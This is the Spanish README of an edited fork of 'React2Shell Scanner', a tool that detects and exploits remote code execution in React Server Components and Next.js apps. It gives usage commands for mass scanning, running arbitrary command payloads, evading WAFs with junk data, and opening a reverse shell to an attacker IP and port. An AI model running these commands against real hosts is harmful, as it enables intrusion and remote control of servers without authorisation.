React2Shell Scanner

High Fidelity Detection for RSC/Next.js RCE

Scanner para detección de vulnerabilidades de Remote Code Execution (RCE) en aplicaciones React Server Components y Next.js.

Acerca de

React2Shell Scanner es una herramienta especializada para identificar vulnerabilidades de ejecución remota de código (RCE) en aplicaciones que utilizan React Server Components (RSC) y Next.js. La herramienta detecta vulnerabilidades relacionadas con los siguientes CVEs:

• CVE-2025-55182
• CVE-2025-66478

La herramienta realiza verificaciones de alta fidelidad utilizando detección de canal lateral (side-channel) y prueba de concepto de RCE, con capacidad de extraer resultados dinámicos de comandos ejecutados mediante el análisis automático de las respuestas HTTP.

Esta es una versión editada por @imguimoraes del escáner original desarrollado por Assetnote Security Research Team. El PoC RCE original fue creado por @maple3142.

Características

• Detección de alta fidelidad usando canal lateral y PoC RCE
• Ejecución multi-hilo para escaneo masivo
• Extracción dinámica de resultados de comandos ejecutados (análisis automático de cabeceras y cuerpo de la respuesta)
• Evasión de WAF con datos aleatorios configurables
• Soporte para Windows (PowerShell) y Linux/Unix (shell)
• Salida en JSON estructurado para análisis posterior
• Seguimiento automático de redirecciones
• Interfaz con barra de progreso y salida coloreada

Instalación

Requisitos

• Python 3.8 o superior
• pip (gestor de paquetes Python)

Instalación de Dependencias

pip install requests tqdm

O usando el archivo requirements.txt:

pip install -r requirements.txt

Uso

Sintaxis Básica

python scanner.py [-u URL | -l FILE] [opciones]

Verificar una única URL

python scanner.py -u https://example.com

Verificar múltiples URLs

python scanner.py -l hosts.txt

Opciones de Línea de Comandos

Opciones de Entrada (obligatorio una de ellas)

Opciones de Ejecución

Opciones de Salida

Opciones de Cabeceras

Opciones de Exploit

Ejemplos de Uso

Ejemplo 1: Escaneo básico de un host

python scanner.py -u https://target.com

Ejemplo 2: Escaneo masivo con múltiples hilos

python scanner.py -l targets.txt -t 50 --timeout 15

Ejemplo 3: Escaneo con salida en JSON

python scanner.py -l targets.txt -o results.json --all-results

Ejemplo 4: Escaneo con cabeceras personalizadas

python scanner.py -u https://target.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"

Ejemplo 5: Escaneo con payload personalizado

python scanner.py -u https://target.com --payload "whoami"

Ejemplo 6: Escaneo con evasión de WAF

python scanner.py -l targets.txt --waf-bypass --waf-bypass-size 256

Ejemplo 7: Escaneo en entorno Windows

python scanner.py -u https://target.com --windows --payload "whoami"

Ejemplo 8: Escaneo con verificación segura (no invasivo)

python scanner.py -l targets.txt --safe-check

Ejemplo 9: Escaneo verboso completo

python scanner.py -l targets.txt -v --all-results -o full_scan.json

Ejemplo 10: Establecer reverse shell

python scanner.py -u https://target.com --reverse-shell 192.168.1.100:4444

Formato de Salida

Salida en Terminal

El escáner muestra resultados con códigos de colores indicando el estado:

• [VULNERABLE] - Host vulnerable (rojo)
• [NOT VULNERABLE] - Host no vulnerable (verde)
• [ERROR] - Error durante la verificación (amarillo)

Para hosts vulnerables, el resultado del comando ejecutado se muestra cuando está disponible mediante la extracción automática de la cabecera X-Action-Redirect o del cuerpo de la respuesta.

Formato JSON

Cuando se utiliza la opción -o, la salida se guarda en formato JSON con la siguiente estructura:

{
  "scan_time": "2025-01-XXT00:00:00.000000Z",
  "total_results": 10,
  "results": [
    {
      "host": "https://target.com",
      "vulnerable": true,
      "status_code": 307,
      "final_url": "https://target.com/",
      "command_result": "11111",
      "timestamp": "2025-01-XXT00:00:00.000000Z",
      "request": "POST / HTTP/1.1\r\n...",
      "response": "HTTP/1.1 307 Temporary Redirect\r\n...",
      "error": null
    }
  ]
}

Campos del resultado:

• vulnerable: true si es vulnerable, false si no es vulnerable, null si ocurrió un error
• command_result: Resultado del comando ejecutado extraído de la respuesta (cuando está disponible)
• final_url: URL final probada (después del seguimiento de redirecciones si está habilitado)
• status_code: Código HTTP de la respuesta
• request: Solicitud HTTP completa enviada
• response: Respuesta HTTP recibida (primeros 2000 caracteres)
• error: Mensaje de error si lo hay
• timestamp: Marca de tiempo UTC de la verificación

Funcionalidades Técnicas

Métodos de Detección

El escáner ofrece dos métodos de detección:

1. Safe Check (--safe-check): Detección de canal lateral no invasiva que verifica patrones de error en la respuesta sin ejecutar código. Útil para escaneo inicial sin impacto.

2. RCE PoC: Ejecución real de código remoto con extracción dinámica de los resultados. Utiliza payloads basados en Node.js child_process para ejecutar comandos del sistema.

Extracción de Resultados

El escáner realiza análisis automático de las respuestas HTTP para extraer resultados de comandos ejecutados:

• Extracción de la cabecera X-Action-Redirect (formato: NEXT_REDIRECT;push;/login?a=<result>;307;)
• Extracción del cuerpo de la respuesta (formato: E{"digest":"<result>"} o 1:E{"digest":"<result>"})
• Funciona con cualquier comando/payload personalizado mediante el parámetro --payload

La extracción se realiza dinámicamente, sin depender de valores fijos, permitiendo validar la ejecución de cualquier comando.

Evasión de WAF

Cuando se utiliza la opción --waf-bypass:

• Agrega datos aleatorios (junk data) al inicio del payload multipart/form-data
• Tamaño configurable mediante --waf-bypass-size (por defecto: 128KB)
• Útil para sortear filtros de WAF que inspeccionan el contenido del cuerpo de la solicitud
• El tiempo de espera se incrementa automáticamente a 20 segundos cuando la evasión de WAF está activa

Payloads Personalizados

El parámetro --payload permite especificar cualquier comando a ejecutar:

• Por defecto: echo $((41*271)) (resultado: 11111)
• Windows: Use comandos PowerShell cuando --windows esté activo
• Linux/Unix: Use comandos shell estándar

El resultado del comando se extrae y muestra automáticamente, independientemente del valor devuelto.

Reverse Shell

La opción --reverse-shell permite establecer una conexión reverse shell:

• Formato: IP:PUERTO (ejemplo: 192.168.1.100:4444)
• Utiliza los módulos net y child_process de Node.js
• Para Windows: ejecuta powershell.exe
• Para Linux/Unix: ejecuta /bin/sh

Avisos Legales y Éticos

Esta herramienta está destinada exclusivamente para fines educativos y pruebas de seguridad autorizadas.

• Úsela solo en sistemas que posea o para los que tenga permiso explícito y por escrito para realizar pruebas
• El uso no autorizado de esta herramienta es ilegal y puede resultar en responsabilidad penal
• Los desarrolladores no asumen ninguna responsabilidad por el uso indebido de esta herramienta
• Siempre obtenga autorización por escrito antes de realizar pruebas de penetración
• Respete las leyes y regulaciones aplicables en su jurisdicción

Créditos

Exploit Original

El exploit RCE original fue creado por @maple3142.

Escáner Original

El escáner original fue desarrollado por Assetnote Security Research Team:

• Repositorio: https://github.com/assetnote/react2shell-scanner/
• Sitio web: https://www.assetnote.io/

Esta Versión

Esta versión editada mantiene las funcionalidades del escáner original con mejoras adicionales:

• Extracción dinámica de resultados de comandos (análisis automático de respuestas)
• Soporte para comandos personalizados con extracción de resultados
• Eliminación del Vercel Bypass (parcheado en ??/??/2025)
• Sistema de Reverse Shell (Crash-Friendly)

Editado por: guiimoraes

CVEs Relacionados

• CVE-2025-55182
• CVE-2025-66478

Si encuentra errores o tiene sugerencias de mejora, por favor abra un issue en el repositorio describiendo el problema de forma detallada.